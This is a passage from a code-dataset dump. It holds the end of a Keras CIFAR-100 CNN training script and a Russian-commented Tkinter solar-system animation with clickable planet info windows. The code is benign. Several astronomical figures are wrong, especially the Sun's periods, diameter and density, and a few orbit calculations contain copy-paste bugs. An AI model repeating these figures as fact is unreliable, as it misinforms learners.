Sequential()\n\nmodel.add(BatchNormalization(input_shape=x_train.shape[1:]))\nmodel.add(Conv2D(32, (3, 3), padding='same', activation='relu'))\nmodel.add(Conv2D(32, (3, 3), padding='same', activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Dropout(0.25))\n\n\nmodel.add(BatchNormalization())\nmodel.add(Conv2D(64, (3, 3), padding='same', activation='relu'))\nmodel.add(Conv2D(64, (3, 3), padding='same', activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Dropout(0.25))\n\nmodel.add(BatchNormalization())\nmodel.add(Conv2D(128, (3, 3), padding='same', activation='relu'))\nmodel.add(Conv2D(128, (3, 3), padding='same', activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Dropout(0.25))\n\nmodel.add(BatchNormalization())\nmodel.add(Conv2D(256, (2, 2), padding='same', activation='relu'))\nmodel.add(Conv2D(256, (2, 2), padding='same', activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Dropout(0.25))\n\n\n\nmodel.add(Flatten())\nmodel.add(Dense(512, activation='relu'))\nmodel.add(Dropout(0.4))\nmodel.add(Dense(1024, activation='relu'))\nmodel.add(Dropout(0.4))\nmodel.add(Dense(512, activation='relu'))\nmodel.add(Dropout(0.4))\nmodel.add(Dense(100, activation='softmax'))\n\nmodel.summary()\n\n#3. Compile, Train\nfrom tensorflow.keras.callbacks import EarlyStopping\nearly_stopper = EarlyStopping(monitor='val_loss', patience=15, mode='min')\n\nmodel.compile(\n optimizer='adam', loss='sparse_categorical_crossentropy',\n metrics=['acc']\n)\nmodel.fit(\n x_train,y_train, batch_size=64, epochs=128, verbose=2,\n validation_split=0.2, callbacks=[early_stopper]\n)\n\nmodel.save(filepath='./keras/Model/k29_cifar100.h5')\n\n#4. Evaluate, Predict\nresult = model.evaluate(x_test, y_test)\nprint(\"loss :\", result[0])\nprint(\"acc :\", result[1])\n\ny_pred = model.predict(x_test[2:3])\ny_pred = np.where(y_pred>=y_pred.max())\nprint(\"predict :\", y_pred)\nprint(\"answer :\", y_test[3])\n\n\n# loss : 2.009660243988037\n# acc : 0.5254999995231628\n\n","sub_path":"keras/keras19_cifar100_4_cnn_batch_drop.py","file_name":"keras19_cifar100_4_cnn_batch_drop.py","file_ext":"py","file_size_in_byte":2704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"605965986","text":"from tkinter import *\nimport math\nfrom random import randint, choice, random\n\n\n# Выход из программы\ndef window_deleted():\n print('Окно закрыто')\n root.quit() # явное указание на выход из программы\n\n\ndelay_mercury = 10\ndelay_venus = 80\ndelay_earth = 100\ndelay_mars = 120\ndelay_jupiter = 160\ndelay_saturn = 180\ndelay_uranium = 220\ndelay_neptune = 260\ndelay_pluto = 1000\nCIRCULAR_PATH_INCR = 0.5\n\nsin = lambda degs: math.sin(math.radians(degs))\ncos = lambda degs: math.cos(math.radians(degs))\n\nroot = Tk()\nroot.title(\"easySpace\")\nroot.geometry(\"1270x720\")\n\nroot.protocol('WM_DELETE_WINDOW', window_deleted) # Проверка на выход из программы\n\nroot.resizable(False, False) # Запрет на изменение размера окна\n\n\n\ncanvas = Canvas(root, width=1270, height=720, bg='black')\ncanvas.pack(fill=BOTH, expand=1)\n\n# Интерфейс пользователя\nclass UI:\n def __init__(self):\n pass\n\n def Mercury(event): # Меркурий\n # Подготовка окна с информацией о планете\n info = Toplevel(root, width=800, height=600, bg='black')\n info.title(\"Info about planet\")\n info.geometry('800x600')\n info.resizable(False, False) # Запрет на изменение размера окна\n info.grab_set()\n # info.overrideredirect(True)# Удаляет обрамление окна, можно использовать\n Lab = Label(info, bg='black', fg='white', text='Меркурий', font='Arial 25') # Выводит имя планеты\n image1 = PhotoImage(file='mercury.gif') # Задаем картинку для планеты\n Lab_img = Label(info, image=image1, borderwidth=0)\n Lab_img.image_ref = image1\n text = Text(info, bg='black', fg='white', borderwidth=0, width=700, height=300, font='Arial 10', wrap='word',\n state='normal') # Задаем текст с инфой о планете\n text.insert(1.0, 'Меркурий — ближайшая к Солнцу планета. Ни воды, ни воздуха на Меркурии нет.'\n '\\nИз-за того что Меркурий так близок к светилу, дневная температура на этой планете почти +450°С.')\n text.insert(5.1,\n '\\nФизические характеристики:\\nРасстояние от солнца - 0,39 астр. ед.;\\nПериод обращения - 88 дней;'\n '\\nПериод вращения - 58,6 сут.;\\nДиаметр - 4878 км;\\nПлотность - 5,5 г/куб.см.')\n Lab.pack() # Пакуйте его, ребята!\n Lab_img.pack()\n text.pack(side='bottom')\n text.configure(state='disabled') # Хитрость! Блокируем ввод пользователем\n\n def Venera(event): # Венера\n # Подготовка окна с информацией о планете\n info = Toplevel(root, width=800, height=600, bg='black')\n info.title(\"Info about planet\")\n info.geometry('800x600')\n info.resizable(False, False) # Запрет на изменение размера окна\n info.grab_set()\n # info.overrideredirect(True)# Удаляет обрамление окна, можно использовать\n Lab = Label(info, bg='black', fg='white', text='Венера', font='Arial 25') # Выводит имя планеты\n image1 = PhotoImage(file='venera.gif') # Задаем картинку для планеты\n Lab_img = Label(info, image=image1, borderwidth=0)\n Lab_img.image_ref = image1\n text = Text(info, bg='black', fg='white', borderwidth=0, width=700, height=300, font='Arial 10', wrap='word',\n state='normal') # Задаем текст с инфой о планете\n text.insert(1.0, 'Венера — планета, которую часто называют утренней или вечерней звездой.'\n '\\nЭти названия не случайны: Венеру можно увидеть вечером,'\n 'в лучах заходящего Солнца, или утром, перед самым восходом.'\n '\\nПоверхность Венеры представляет собой равнину, усыпанную камнями и обломками скал.'\n 'На Венере нет ни воды, ни жизни.')\n text.insert(5.1,\n '\\nФизические характеристики:\\nРасстояние от солнца - 0,72 астр. ед.;'\n '\\nПериод обращения - 224,7 дней; \\nПериод вращения - 243 сут.; \\nДиаметр - 12100 км;'\n '\\nПлотность - 5,2 г/куб. см.')\n Lab.pack() # Пакуйте его, ребята!\n Lab_img.pack()\n text.pack(side='bottom')\n text.configure(state='disabled')\n\n def Earth(event): # Земля\n # Подготовка окна с информацией о планете\n info = Toplevel(root, width=800, height=600, bg='black')\n info.title(\"Info about planet\")\n info.geometry('800x600')\n info.resizable(False, False) # Запрет на изменение размера окна\n info.grab_set()\n # info.overrideredirect(True)# Удаляет обрамление окна, можно использовать\n Lab = Label(info, bg='black', fg='white', text='Земля', font='Arial 25') # Выводит имя планеты\n image1 = PhotoImage(file='earth.gif') # Задаем картинку для планеты\n Lab_img = Label(info, image=image1, borderwidth=0)\n Lab_img.image_ref = image1\n text = Text(info, bg='black', fg='white', borderwidth=0, width=700, height=300, font='Arial 10', wrap='word',\n state='normal') # Задаем текст с инфой о планете\n text.insert(1.0,\n 'Земля — одна из планет, которые вращаются вокруг Солнца.'\n 'Она почти в 110 раз меньше этого светила по диаметру.'\n '\\nПопробуй представить, что Солнце превратилось в дыню. Земля тогда со своими огромными городами,'\n 'деревнями, горами и морями стала бы размером с маленькую фруктовую косточку.')\n text.insert(5.1,\n '\\nФизические характеристики: \\nРасстояние от солнца - 1,00 астр. ед.;'\n '\\nПериод обращения - 365,24 дней; \\nПериод вращения - 24 часа;'\n '\\nДиаметр - 12742 км; кол-во спутников - 1; \\nПлотность - 5,5 г/куб. см.')\n Lab.pack() # Пакуйте его, ребята!\n Lab_img.pack()\n text.pack(side='bottom')\n text.configure(state='disabled')\n\n def Mars(event): # Марс\n # Подготовка окна с информацией о планете\n info = Toplevel(root, width=800, height=600, bg='black')\n info.title(\"Info about planet\")\n info.geometry('800x600')\n info.resizable(False, False) # Запрет на изменение размера окна\n info.grab_set()\n # info.overrideredirect(True)# Удаляет обрамление окна, можно использовать\n Lab = Label(info, bg='black', fg='white', text='Марс', font='Arial 25') # Выводит имя планеты\n image1 = PhotoImage(file='mars.gif') # Задаем картинку для планеты\n Lab_img = Label(info, image=image1, borderwidth=0)\n Lab_img.image_ref = image1\n text = Text(info, bg='black', fg='white', borderwidth=0, width=700, height=300, font='Arial 10', wrap='word',\n state='normal') # Задаем текст с инфой о планете\n text.insert(1.0,\n 'Марс называют красной планетой из-за ржаво-красного цвета его поверхности.'\n 'Температура на Марсе очень низкая и в дневное время суток, и в ночное.')\n text.insert(5.1,\n '\\nФизические характеристики:\\nРасстояние от солнца - 1,52 астр. ед.; \\nПериод обращения - 687 дней ;'\n '\\nПериод вращения - 24,5 часа ; \\nДиаметр - 6794 ; \\nКол-во спутников - 2 ;'\n '\\nПлотность - 3,9 г/куб. см.')\n Lab.pack() # Пакуйте его, ребята!\n Lab_img.pack()\n text.pack(side='bottom')\n text.configure(state='disabled')\n\n def Yupiter(event): # Юпитер\n # Подготовка окна с информацией о планете\n info = Toplevel(root, width=800, height=600, bg='black')\n info.title(\"Info about planet\")\n info.geometry('800x600')\n info.resizable(False, False) # Запрет на изменение размера окна\n info.grab_set()\n # info.overrideredirect(True)# Удаляет обрамление окна, можно использовать, но хрень\n Lab = Label(info, bg='black', fg='white', text='Юпитер', font='Arial 25') # Выводит имя планеты\n image1 = PhotoImage(file='yupiter.gif') # Задаем картинку для планеты\n Lab_img = Label(info, image=image1, borderwidth=0)\n Lab_img.image_ref = image1\n text = Text(info, bg='black', fg='white', borderwidth=0, width=700, height=300, font='Arial 10', wrap='word',\n state='normal') # Задаем текст с инфой о планете\n text.insert(1.0,\n 'Юпитер — самая большая планета Солнечной системы. Она больше Земли в 1000 раз.'\n 'Юпитер находится на огромном расстоянии от Солнца,'\n 'отчего температура на этом газовом гиганте дошла -140°С.')\n text.insert(5.1,\n '\\nФизические характеристики:\\nРасстояние от солнца - 5,2 астр. ед.; \\nПериод обращения - 11,9 лет;'\n '\\nПериод вращения - 10 часов; \\nДиаметр - 139800 км.; \\nКол-во спутников - 16;'\n '\\nПлотность - 1,3 г/куб. см.')\n Lab.pack() # Пакуйте его, ребята!\n Lab_img.pack()\n text.pack(side='bottom')\n text.configure(state='disabled')\n\n def Saturn(event): # Сатурн\n # Подготовка окна с информацией о планете\n info = Toplevel(root, width=800, height=600, bg='black')\n info.title(\"Info about planet\")\n info.geometry('800x600')\n info.resizable(False, False) # Запрет на изменение размера окна\n info.grab_set()\n # info.overrideredirect(True)# Удаляет обрамление окна, можно использовать\n Lab = Label(info, bg='black', fg='white', text='Сатурн', font='Arial 25') # Выводит имя планеты\n image1 = PhotoImage(file='saturn.gif') # Задаем картинку для планеты\n Lab_img = Label(info, image=image1, borderwidth=0)\n Lab_img.image_ref = image1\n text = Text(info, bg='black', fg='white', borderwidth=0, width=700, height=300, font='Arial 10', wrap='word',\n state='normal') # Задаем текст с инфой о планете\n text.insert(1.0,\n 'Сатурн — планета, которая по размерам чуть меньше Юпитера. '\n 'нешне Сатурн отличается от остальных планет тем, что окружен множеством светящихся колец.'\n 'Каждое кольцо Сатурна состоит из еще более тонких колец.'\n 'Это «украшение» представляет собой миллиарды каменных обломков, покрытых льдом.')\n text.insert(5.1,\n '\\nФизические характеристики:\\nРасстояние от солнца -9, 54; \\nПериод обращения - 29,5 лет;'\n '\\nПериод вращения - 10,2 часов; \\nДиаметр - 116000 км; \\nКол-во спутников - 30;'\n '\\nПлотность - 0, 7 г/куб. см.')\n Lab.pack() # Пакуйте его, ребята!\n Lab_img.pack()\n text.pack(side='bottom')\n text.configure(state='disabled')\n\n def Uran(event): # Уран\n # Подготовка окна с информацией о планете\n info = Toplevel(root, width=800, height=600, bg='black')\n info.title(\"Info about planet\")\n info.geometry('800x600')\n info.resizable(False, False) # Запрет на изменение размера окна\n info.grab_set()\n # info.overrideredirect(True)# Удаляет обрамление окна, можно использовать\n Lab = Label(info, bg='black', fg='white', text='Уран', font='Arial 25') # Выводит имя планеты\n image1 = PhotoImage(file='uran.gif') # Задаем картинку для планеты\n Lab_img = Label(info, image=image1, borderwidth=0)\n Lab_img.image_ref = image1\n text = Text(info, bg='black', fg='white', borderwidth=0, width=700, height=300, font='Arial 10', wrap='word',\n state='normal') # Задаем текст с инфой о планете\n text.insert(1.0,\n 'Уран удален от Солнца на расстояние в 19 раз большее, чем Земля, поэтому получает очень мало тепла.')\n text.insert(5.1,\n '\\nФизические характеристики:\\nРасстояние от солнца - 19,19 астр. ед.; \\nПериод обращения - 84 года;'\n '\\nПериод вращения - 10,7 часов; \\nДиаметр- 50800 км; \\nКол-во спутников - 15;'\n '\\nПлотность - 1,4 г/куб. см.')\n Lab.pack() # Пакуйте его, ребята!\n Lab_img.pack()\n text.pack(side='bottom')\n text.configure(state='disabled')\n\n def Neptun(event): # Нептун\n # Подготовка окна с информацией о планете\n info = Toplevel(root, width=800, height=600, bg='black')\n info.title(\"Info about planet\")\n info.geometry('800x600')\n info.resizable(False, False) # Запрет на изменение размера окна\n info.grab_set()\n # info.overrideredirect(True)# Удаляет обрамление окна, можно использовать\n Lab = Label(info, bg='black', fg='white', text='Нептун', font='Arial 25') # Выводит имя планеты\n image1 = PhotoImage(file='neptun.gif') # Задаем картинку для планеты\n Lab_img = Label(info, image=image1, borderwidth=0)\n Lab_img.image_ref = image1\n text = Text(info, bg='black', fg='white', borderwidth=0, width=700, height=300, font='Arial 10', wrap='word',\n state='normal') # Задаем текст с инфой о планете\n text.insert(1.0,\n 'Нептун по виду и размерам похож на Уран. Он сильно сжат и быстро вращается.'\n 'Нептун удален от Солнца на 2,8 миллиардов километров.')\n text.insert(5.1,\n '\\nФизические характеристики:\\nРасстояние от солнца - 30,07 астр. ед.; \\nПериод обращения - 164,8 лет;'\n '\\nПериод вращения - 16 часов; \\nДиаметр - 48600 км; \\nКол-во спутников -6;'\n '\\nПлотность - 1,6 г/куб.см.')\n Lab.pack() # Пакуйте его, ребята!\n Lab_img.pack()\n text.pack(side='bottom')\n text.configure(state='disabled')\n\n def Pluton(event):\n # Подготовка окна с информацией о планете\n info = Toplevel(root, width=800, height=600, bg='black')\n info.title(\"Info about planet\")\n info.geometry('800x600')\n info.resizable(False, False) # Запрет на изменение размера окна\n info.grab_set()\n # info.overrideredirect(True)# Удаляет обрамление окна, можно использовать\n Lab = Label(info, bg='black', fg='white', text='Плутон', font='Arial 25') # Выводит имя планеты\n image1 = PhotoImage(file='pluton.gif') # Задаем картинку для планеты\n Lab_img = Label(info, image=image1, borderwidth=0)\n Lab_img.image_ref = image1\n text = Text(info, bg='black', fg='white', borderwidth=0, width=700, height=300, font='Arial 10', wrap='word',\n state='normal') # Задаем текст с инфой о планете\n text.insert(1.0,\n 'Плутон – это карликовая планета Солнечной системы,'\n 'транснептуновый объект (крупнейший в поясе Койпера) и десятое по массе тело,'\n 'обращающееся вокруг Солнца, после 8 планет (без учета их спутников) и, предположительно, Эриды.')\n text.insert(5.1,\n '\\nФизические характеристики:\\nРасстояние от солнца - 39,23 астр. ед.;\\nПериод обращения - 245 лет;'\n '\\nПериод вращения - -6,38 сут.;\\nДиаметр - 2376 км;\\nКол-во спутников -5;'\n '\\nПлотность - 1,860 г/куб.см.')\n Lab.pack() # Пакуйте его, ребята!\n Lab_img.pack()\n text.pack(side='bottom')\n text.configure(state='disabled')\n\n def Sun(event):\n # Подготовка окна с информацией о планете\n info = Toplevel(root, width=800, height=600, bg='black')\n info.title(\"Info about planet\")\n info.geometry('800x600')\n info.resizable(False, False) # Запрет на изменение размера окна\n info.grab_set()\n #info.overrideredirect(True)# Удаляет обрамление окна, можно использовать\n Lab = Label(info, bg='black', fg='white', text='Солнце', font='Arial 25') # Выводит имя планеты\n image1 = PhotoImage(file='sun.gif') # Задаем картинку для планеты\n Lab_img = Label(info, image=image1, borderwidth=0)\n Lab_img.image_ref = image1\n text = Text(info, bg='black', fg='white', borderwidth=0, width=700, height=300, font='Arial 9', wrap='word',\n state='normal') # Задаем текст с инфой о планете\n text.insert(1.0,\n 'Coлнцe выcтупaeт цeнтpoм и иcтoчникoм жизни для нaшeй Coлнeчнoй cиcтeмы. Звeздa oтнocитcя к клaccу жeлтыx кapликoв и зaнимaeт 99.86% вceй мaccы нaшeй cиcтeмы, a гpaвитaция пo cилe пpeoблaдaeт нaд вceми нeбecными тeлaми.'\n 'Ecли мы зaпoлняeм нaшу звeзду Coлнцe, тo внутpи пoмecтитcя 960000 Зeмeль. Ho ecли иx cжaть и лишить cвoбoднoгo пpocтpaнcтвa, тo кoличecтвo увeличитcя дo 1З00000. Пoвepxнocтнaя плoщaдь Coлнцa в 11990 paз бoльшe зeмнoй.'\n 'Пo мacce пpeвocxoдит зeмную в ЗЗ0000 paз. Пpимepнo ¾ oтвeдeнo нa вoдopoд, a ocтaльнoe – гeлий')\n text.insert(5.1,\n '\\nФизические характеристики:\\nПериод обращения - 245 лет;'\n '\\nПериод вращения - 2,25 * 10^8 лет;\\nДиаметр - 1,392 миллиардов;\\nОбъем - 1,40927⋅10^27 куб.метр '\n '\\nПлотность - 1,860 г/куб.см.')\n Lab.pack() # Пакуйте его, ребята!\n Lab_img.pack()\n text.pack(side='bottom')\n text.configure(state='disabled')\n\n\nclass Planet(object):\n # Константы\n COS_0, COS_180 = cos(0), cos(180)\n SIN_90, SIN_270 = sin(90), sin(270)\n\n def __init__(self, x, y, radius):\n self.x, self.y = x, y\n self.radius = radius\n\n def bounds(self):\n # Возвращает координаты прямоугольника, окружающего круглый объект\n return (self.x + self.radius*self.COS_0, self.y + self.radius*self.SIN_270,\n self.x + self.radius*self.COS_180, self.y + self.radius*self.SIN_90)\n\n\ndef SKY(): # Генератор звездного неба\n for i in range(4000):\n coord_x = randint(0, 1270) # Выборка координаты x\n coord_y = randint(0, 720) # Выборка координаты y\n r = randint(0,1) # Выборка радиуса звезды\n color = choice(['white', 'light blue'])\n canvas.create_oval(coord_x-r, coord_y-r, coord_x+r, coord_y+r, fill=color) # Рисует овал, в случайной позиции\n\n\ndef circular_path1(x, y, radius, delta_ang, start_ang=0):\n # Бесконечно генерирует координаты кругового пути через каждые градусы delta_ang\n ang = start_ang % 360\n while True:\n yield x + radius * cos(ang), y + radius * sin(ang)\n ang = (ang + delta_ang) % 360\n\n\ndef circular_path2(x, y, radius, delta_ang, start_ang=120):\n # Бесконечно генерирует координаты кругового пути через каждые градусы delta_ang\n ang = start_ang % 360\n while True:\n yield x + radius * cos(ang), y + radius * sin(ang)\n ang = (ang + delta_ang) % 360\n\n\ndef circular_path3(x, y, radius, delta_ang, start_ang=40):\n # Бесконечно генерирует координаты кругового пути через каждые градусы delta_ang\n ang = start_ang % 360\n while True:\n yield x + radius * cos(ang), y + radius * sin(ang)\n ang = (ang + delta_ang) % 360\n\n\ndef circular_path4(x, y, radius, delta_ang, start_ang=320):\n # Бесконечно генерирует координаты кругового пути через каждые градусы delta_ang\n ang = start_ang % 360\n while True:\n yield x + radius * cos(ang), y + radius * sin(ang)\n ang = (ang + delta_ang) % 360\n\n\ndef circular_path5(x, y, radius, delta_ang, start_ang=80):\n # Бесконечно генерирует координаты кругового пути через каждые градусы delta_ang\n ang = start_ang % 360\n while True:\n yield x + radius * cos(ang), y + radius * sin(ang)\n ang = (ang + delta_ang) % 360\n\n\ndef circular_path6(x, y, radius, delta_ang, start_ang=240):\n # Бесконечно генерирует координаты кругового пути через каждые градусы delta_ang\n ang = start_ang % 360\n while True:\n yield x + radius * cos(ang), y + radius * sin(ang)\n ang = (ang + delta_ang) % 360\n\n\ndef circular_path7(x, y, radius, delta_ang, start_ang=160):\n # Бесконечно генерирует координаты кругового пути через каждые градусы delta_ang\n ang = start_ang % 360\n while True:\n yield x + radius * cos(ang), y + radius * sin(ang)\n ang = (ang + delta_ang) % 360\n\n\ndef circular_path8(x, y, radius, delta_ang, start_ang=200):\n # Бесконечно генерирует координаты кругового пути через каждые градусы delta_ang\n ang = start_ang % 360\n while True:\n yield x + radius * cos(ang), y + radius * sin(ang)\n ang = (ang + delta_ang) % 360\n\n\ndef circular_path9(x, y, radius, delta_ang, start_ang=280):\n # Бесконечно генерирует координаты кругового пути через каждые градусы delta_ang\n ang = start_ang % 360\n while True:\n yield x + radius * cos(ang), y + radius * sin(ang)\n ang = (ang + delta_ang) % 360\n\n\ndef update_position1(canvas, id, UI_obj, path_iter):\n UI_obj.x, UI_obj.y = next(path_iter) # проводит итерацию пути и установку новой позиции\n # обновление положения соответствующего объекта холста\n x0, y0, x1, y1 = canvas.coords(id) # координаты холста овала\n oldx, oldy = (x0 + x1) // 2, (y0 + y1) // 2 # текущая центральная точка\n dx, dy = UI_obj.x - oldx, UI_obj.y - oldy # количество движения\n canvas.move(id, dx, dy) # перемещение овала на холсте\n # повторение после задержки\n root.after(delay_mercury, update_position1, canvas, id, UI_obj, path_iter)\n\n\ndef update_position2(canvas, id, Planet_obj, path_iter):\n Planet_obj.x, Planet_obj.y = next(path_iter) # проводит итерацию пути и установку новой позиции\n # обновление положения соответствующего объекта холста\n x0, y0, x1, y1 = canvas.coords(id) # координаты холста овала\n oldx, oldy = (x0 + x1) // 2, (y0 + y1) // 2 # текущая центральная точка\n dx, dy = Planet_obj.x - oldx, Planet_obj.y - oldy # количество движения\n canvas.move(id, dx, dy) # перемещение овала на холсте\n # повторение после задержки\n root.after(delay_venus, update_position2, canvas, id, Planet_obj, path_iter)\n\n\ndef update_position3(canvas, id, Planet_obj, path_iter):\n Planet_obj.x, Planet_obj.y = next(path_iter) # проводит итерацию пути и установку новой позиции\n # обновление положения соответствующего объекта холста\n x0, y0, x1, y1 = canvas.coords(id) # координаты холста овала\n oldx, oldy = (x0 + x1) // 2, (y0 + y1) // 2 # текущая центральная точка\n dx, dy = Planet_obj.x - oldx, Planet_obj.y - oldy # количество движения\n canvas.move(id, dx, dy) # перемещение овала на холсте\n # повторение после задержки\n root.after(delay_earth, update_position3, canvas, id, Planet_obj, path_iter)\n\n\ndef update_position4(canvas, id, Planet_obj, path_iter):\n Planet_obj.x, Planet_obj.y = next(path_iter) # проводит итерацию пути и установку новой позиции\n # обновление положения соответствующего объекта холста\n x0, y0, x1, y1 = canvas.coords(id) # координаты холста овала\n oldx, oldy = (x0 + x1) // 2, (y0 + y1) // 2 # текущая центральная точка\n dx, dy = Planet_obj.x - oldx, Planet_obj.y - oldy # количество движения\n canvas.move(id, dx, dy) # перемещение овала на холсте\n # повторение после задержки\n root.after(delay_mars, update_position4, canvas, id, Planet_obj, path_iter)\n\n\ndef update_position5(canvas, id, Planet_obj, path_iter):\n Planet_obj.x, Planet_obj.y = next(path_iter) # проводит итерацию пути и установку новой позиции\n # обновление положения соответствующего объекта холста\n x0, y0, x1, y1 = canvas.coords(id) # координаты холста овала\n oldx, oldy = (x0 + x1) // 2, (y0 + y1) // 2 # текущая центральная точка\n dx, dy = Planet_obj.x - oldx, Planet_obj.y - oldy # количество движения\n canvas.move(id, dx, dy) # перемещение овала на холсте\n # повторение после задержки\n root.after(delay_jupiter, update_position5, canvas, id, Planet_obj, path_iter)\n\n\ndef update_position6(canvas, id, Planet_obj, path_iter):\n Planet_obj.x, Planet_obj.y = next(path_iter) # проводит итерацию пути и установку новой позиции\n # обновление положения соответствующего объекта холста\n x0, y0, x1, y1 = canvas.coords(id) # координаты холста овала\n oldx, oldy = (x0 + x1) // 2, (y0 + y1) // 2 # текущая центральная точка\n dx, dy = Planet_obj.x - oldx, Planet_obj.y - oldy # количество движения\n canvas.move(id, dx, dy) # перемещение овала на холсте\n # повторение после задержки\n root.after(delay_saturn, update_position6, canvas, id, Planet_obj, path_iter)\n\n\ndef update_position7(canvas, id, Planet_obj, path_iter):\n Planet_obj.x, Planet_obj.y = next(path_iter) # проводит итерацию пути и установку новой позиции\n # обновление положения соответствующего объекта холста\n x0, y0, x1, y1 = canvas.coords(id) # координаты холста овала\n oldx, oldy = (x0 + x1) // 2, (y0 + y1) // 2 # текущая центральная точка\n dx, dy = Planet_obj.x - oldx, Planet_obj.y - oldy # количество движения\n canvas.move(id, dx, dy) # перемещение овала на холсте\n # повторение после задержки\n root.after(delay_uranium, update_position7, canvas, id, Planet_obj, path_iter)\n\n\ndef update_position8(canvas, id, Planet_obj, path_iter):\n Planet_obj.x, Planet_obj.y = next(path_iter) # проводит итерацию пути и установку новой позиции\n # обновление положения соответствующего объекта холста\n x0, y0, x1, y1 = canvas.coords(id) # координаты холста овала\n oldx, oldy = (x0 + x1) // 2, (y0 + y1) // 2 # текущая центральная точка\n dx, dy = Planet_obj.x - oldx, Planet_obj.y - oldy # количество движения\n canvas.move(id, dx, dy) # перемещение овала на холсте\n # повторение по��ле задержки\n root.after(delay_neptune, update_position8, canvas, id, Planet_obj, path_iter)\n\n\ndef update_position9(canvas, id, Planet_obj, path_iter):\n Planet_obj.x, Planet_obj.y = next(path_iter) # проводит итерацию пути и установку новой позиции\n # обновление положения соответствующего объекта холста\n x0, y0, x1, y1 = canvas.coords(id) # координаты холста овала\n oldx, oldy = (x0 + x1) // 2, (y0 + y1) // 2 # текущая центральная точка\n dx, dy = Planet_obj.x - oldx, Planet_obj.y - oldy # количество движения\n canvas.move(id, dx, dy) # перемещение овала на холсте\n # повторение после задержки\n root.after(delay_pluto, update_position9, canvas, id, Planet_obj, path_iter)\n\n\nsun_obj = Planet(635, 360, 25)\nmercury_obj = Planet(635+40, 360, 4)\nvenus_obj = Planet(635+80, 360, 8)\nearth_obj = Planet(635+120, 360, 8)\nmars_obj = Planet(635+160, 360, 6)\njupiter_obj = Planet(635+200, 360, 20)\nsaturn_obj = Planet(635+240, 360, 16)\nuranium_obj = Planet(635+280, 360, 12)\nneptune_obj = Planet(635+320, 360, 12)\npluto_obj = Planet(635+55, 15, 6)\n\nsun = canvas.create_oval(sun_obj.bounds(), fill='yellow', width=0)\ncanvas.tag_bind(sun, '', UI.Sun)\nmercury = canvas.create_oval(mercury_obj.bounds(), fill='grey', width=0)\ncanvas.tag_bind(mercury, '', UI.Mercury)\nvenus = canvas.create_oval(venus_obj.bounds(), fill='orange', width=0)\ncanvas.tag_bind(venus, '', UI.Venera)\nearth = canvas.create_oval(earth_obj.bounds(), fill='light blue', width=0)\ncanvas.tag_bind(earth, '', UI.Earth)\nmars = canvas.create_oval(mars_obj.bounds(), fill=\"red\", width=0)\ncanvas.tag_bind(mars, '', UI.Mars)\njupiter = canvas.create_oval(jupiter_obj.bounds(), fill='brown', width=0)\ncanvas.tag_bind(jupiter, '', UI.Yupiter)\nsaturn = canvas.create_oval(saturn_obj.bounds(), fill='light gray', width=0)\ncanvas.tag_bind(saturn, '', UI.Saturn)\nuranium = canvas.create_oval(uranium_obj.bounds(), fill='light green', width=0)\ncanvas.tag_bind(uranium, '', UI.Uran)\nneptune = canvas.create_oval(neptune_obj.bounds(), fill='blue', width=0)\ncanvas.tag_bind(neptune, '', UI.Neptun)\npluto = canvas.create_oval(pluto_obj.bounds(), fill='dark grey', width=0)\ncanvas.tag_bind(pluto, '', UI.Pluton)\n\norbital_radius_mercury = math.hypot(sun_obj.x - mercury_obj.x, sun_obj.y - mercury_obj.y)\norbital_radius_venus = math.hypot(sun_obj.x - venus_obj.x, sun_obj.y - venus_obj.y)\norbital_radius_earth = math.hypot(sun_obj.x - earth_obj.x, sun_obj.y - earth_obj.y)\norbital_radius_mars = math.hypot(sun_obj.x - mars_obj.x, sun_obj.y - earth_obj.y)\norbital_radius_jupiter = math.hypot(sun_obj.x - jupiter_obj.x, sun_obj.y - jupiter_obj.y)\norbital_radius_saturn = math.hypot(sun_obj.x - saturn_obj.x, sun_obj.y - jupiter_obj.y)\norbital_radius_uranium = math.hypot(sun_obj.x - uranium_obj.x, sun_obj.y - uranium_obj.y)\norbital_radius_neptune = math.hypot(sun_obj.x - neptune_obj.x, sun_obj.y - neptune_obj.y)\norbital_radius_pluto = math.hypot(sun_obj.x - pluto_obj.x, sun_obj.y - pluto_obj.y)\n\npath_iter_earth = circular_path1(sun_obj.x, sun_obj.y, orbital_radius_earth, CIRCULAR_PATH_INCR)\npath_iter_mercury = circular_path2(sun_obj.x, sun_obj.y, orbital_radius_mercury, CIRCULAR_PATH_INCR)\npath_iter_venus = circular_path3(sun_obj.x, sun_obj.y, orbital_radius_venus, CIRCULAR_PATH_INCR)\npath_iter_mars = circular_path4(sun_obj.x, sun_obj.y, orbital_radius_mars, CIRCULAR_PATH_INCR)\npath_iter_jupiter = circular_path5(sun_obj.x, sun_obj.y, orbital_radius_jupiter, CIRCULAR_PATH_INCR)\npath_iter_saturn = circular_path6(sun_obj.x, sun_obj.y, orbital_radius_saturn, CIRCULAR_PATH_INCR)\npath_iter_uranium = circular_path7(sun_obj.x, sun_obj.y, orbital_radius_uranium, CIRCULAR_PATH_INCR)\npath_iter_neptune = circular_path8(sun_obj.x, sun_obj.y, orbital_radius_neptune, CIRCULAR_PATH_INCR)\npath_iter_pluto = circular_path9(sun_obj.x, sun_obj.y, orbital_radius_pluto, CIRCULAR_PATH_INCR)\n\nnext(path_iter_earth) # простой генератор\nnext(path_iter_mercury)\nnext(path_iter_venus)\nnext(path_iter_mars)\nnext(path_iter_jupiter)\nnext(path_iter_saturn)\nnext(path_iter_uranium)\nnext(path_iter_neptune)\nnext(path_iter_pluto)\n\nSKY()\nroot.after(delay_earth, update_position3, canvas, earth, earth_obj, path_iter_earth)\nroot.after(delay_mercury, update_position1, canvas, mercury, mercury_obj, path_iter_mercury)\nroot.after(delay_venus, update_position2, canvas, venus, venus_obj, path_iter_venus)\nroot.after(delay_mars, update_position4, canvas, mars, mars_obj, path_iter_mars)\nroot.after(delay_jupiter, update_position5, canvas, jupiter, jupiter_obj, path_iter_jupiter)\nroot.after(delay_saturn, update_position6, canvas, saturn, saturn_obj, path_iter_saturn)\nroot.after(delay_uranium, update_position7, canvas, uranium, uranium_obj, path_iter_uranium)\nroot.after(delay_neptune, update_position8, canvas, neptune, neptune_obj, path_iter_neptune)\nroot.after(delay_pluto, update_position9, canvas, pluto, pluto_obj, 